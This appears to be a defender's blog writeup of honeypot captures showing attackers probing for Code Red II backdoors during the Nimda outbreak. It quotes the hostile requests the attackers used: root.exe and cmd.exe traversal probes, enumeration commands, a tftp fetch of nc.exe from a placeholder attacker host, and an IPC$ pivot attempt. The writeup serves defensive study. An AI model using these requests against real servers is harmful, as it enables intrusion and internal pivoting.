The Nimda outbreak produced a substantial volume of Sebek captures on my honeypot. The honeypot itself was not compromised by Nimda (the high-interaction host is Linux; Nimda targets Windows); the captures are from human attackers using the Code Red II backdoor pattern Nimda relies on.
A short writeup of what the captures show.
The pattern
During and after the Nimda outbreak, my honeypot saw a notable increase in attempts to use Code Red II-style URL patterns to find backdoors. The patterns include:
GET /scripts/root.exe?/c+dirGET /MSADC/root.exe?/c+dirGET /scripts/..\..\winnt\system32\cmd.exe?/c+dir- Variations with different command suffixes (
net user,tftp,echo).
These are scans for existing Code Red II compromises. The scanner is not running Code Red II; it is looking for hosts where Code Red II has previously installed backdoors. Each successful match is an active compromised host the scanner can use.
My honeypot's Honeyd persona that emulates a Windows IIS server returns plausible-looking responses to some of these probes (I configured it to look modestly compromised, to attract this kind of attention). The Sebek-instrumented Linux honeypot sits behind a different persona and was not the target of these specific scans.
What the persistent attackers do
For the captures from human attackers using the Code Red II backdoor:
- They confirm the backdoor responds:
GET /root.exe?/c+dir. - They enumerate the host:
GET /root.exe?/c+systeminfo,GET /root.exe?/c+ipconfig+/all,GET /root.exe?/c+net+user. - They attempt to fetch tools:
GET /root.exe?/c+tftp+-i+[attacker-host]+GET+nc.exe. The tftp transfer fails because of my outbound filtering. - They try alternative tool transfers: HTTP, FTP, SMB. All fail.
- They give up and move on.
This pattern is similar to the post-compromise behaviour I observed in earlier Linux compromises. The shape is the same: compromise → enumerate → fetch tools → blocked → leave.
The defensive measure that matters most continues to be outbound filtering. Even with command execution on a compromised host, the attacker cannot do much without their tools.
A specific session worth describing
One attacker, on the 22nd of September, used the Code Red II backdoor in a more focused way:
GET /root.exe?/c+ver(checks Windows version)
GET /root.exe?/c+net+localgroup+administrators(lists local administrators)
GET /root.exe?/c+dir+%5C%5C[other-host]%5Cipc%24(attempts to access another host's IPC$ share via SMB; the URL-encoded backslashes resolve to \\other-host\ipc$)
This last one is the chain-attack pattern. The attacker is using the compromised host to reach into the internal network the host is on. From an externally-compromised host, they can scan and probe internal resources through the host's existing network connectivity.
In my honeypot, the internal-network probing fails because the honeypot is not on a real internal network; it is on a contained subnet that has nothing of interest. In a real organisation's compromised IIS server, the internal probing would reveal the actual internal network topology.
What this teaches
The chain-attack pattern is operationally common. External compromise → internal pivot is the natural sequence. The defensive measure is internal segmentation — preventing the externally-facing host from reaching internal resources beyond what it strictly needs.
Outbound filtering remains the highest-leverage defence. Even a successful compromise produces limited damage if the attacker cannot reach external tools or exfiltrate data.
Honeypot data is informative for ordinary defence. What attackers do on my honeypot is similar to what they would do on a compromised production host. Defenders who study honeypot data are getting cheap tactical intelligence about the threat landscape.
What I am doing
For my Snort rules: I have updated the rules to detect specific Code Red II backdoor URL patterns. Even though my hosts are not Windows, the rules are useful for honeypot intelligence — telling me when scanners are looking for that pattern on my range.
For my honeypot range: I am considering adding a Honeyd persona that responds convincingly to the Code Red II URL patterns, returning fabricated command output. The Honeyd configuration would log the full sequence of exploitation, giving me direct visibility into what the attacker types when they think they have a real foothold.
For friends with IIS: helping them check for residual Code Red II backdoors. Several have found and removed them; a couple were unaware they had been compromised.
More as the year develops. October will be the IIS-vulnerability post-mortem; November will be wireless attacks (which have matured significantly); December will be year-end review.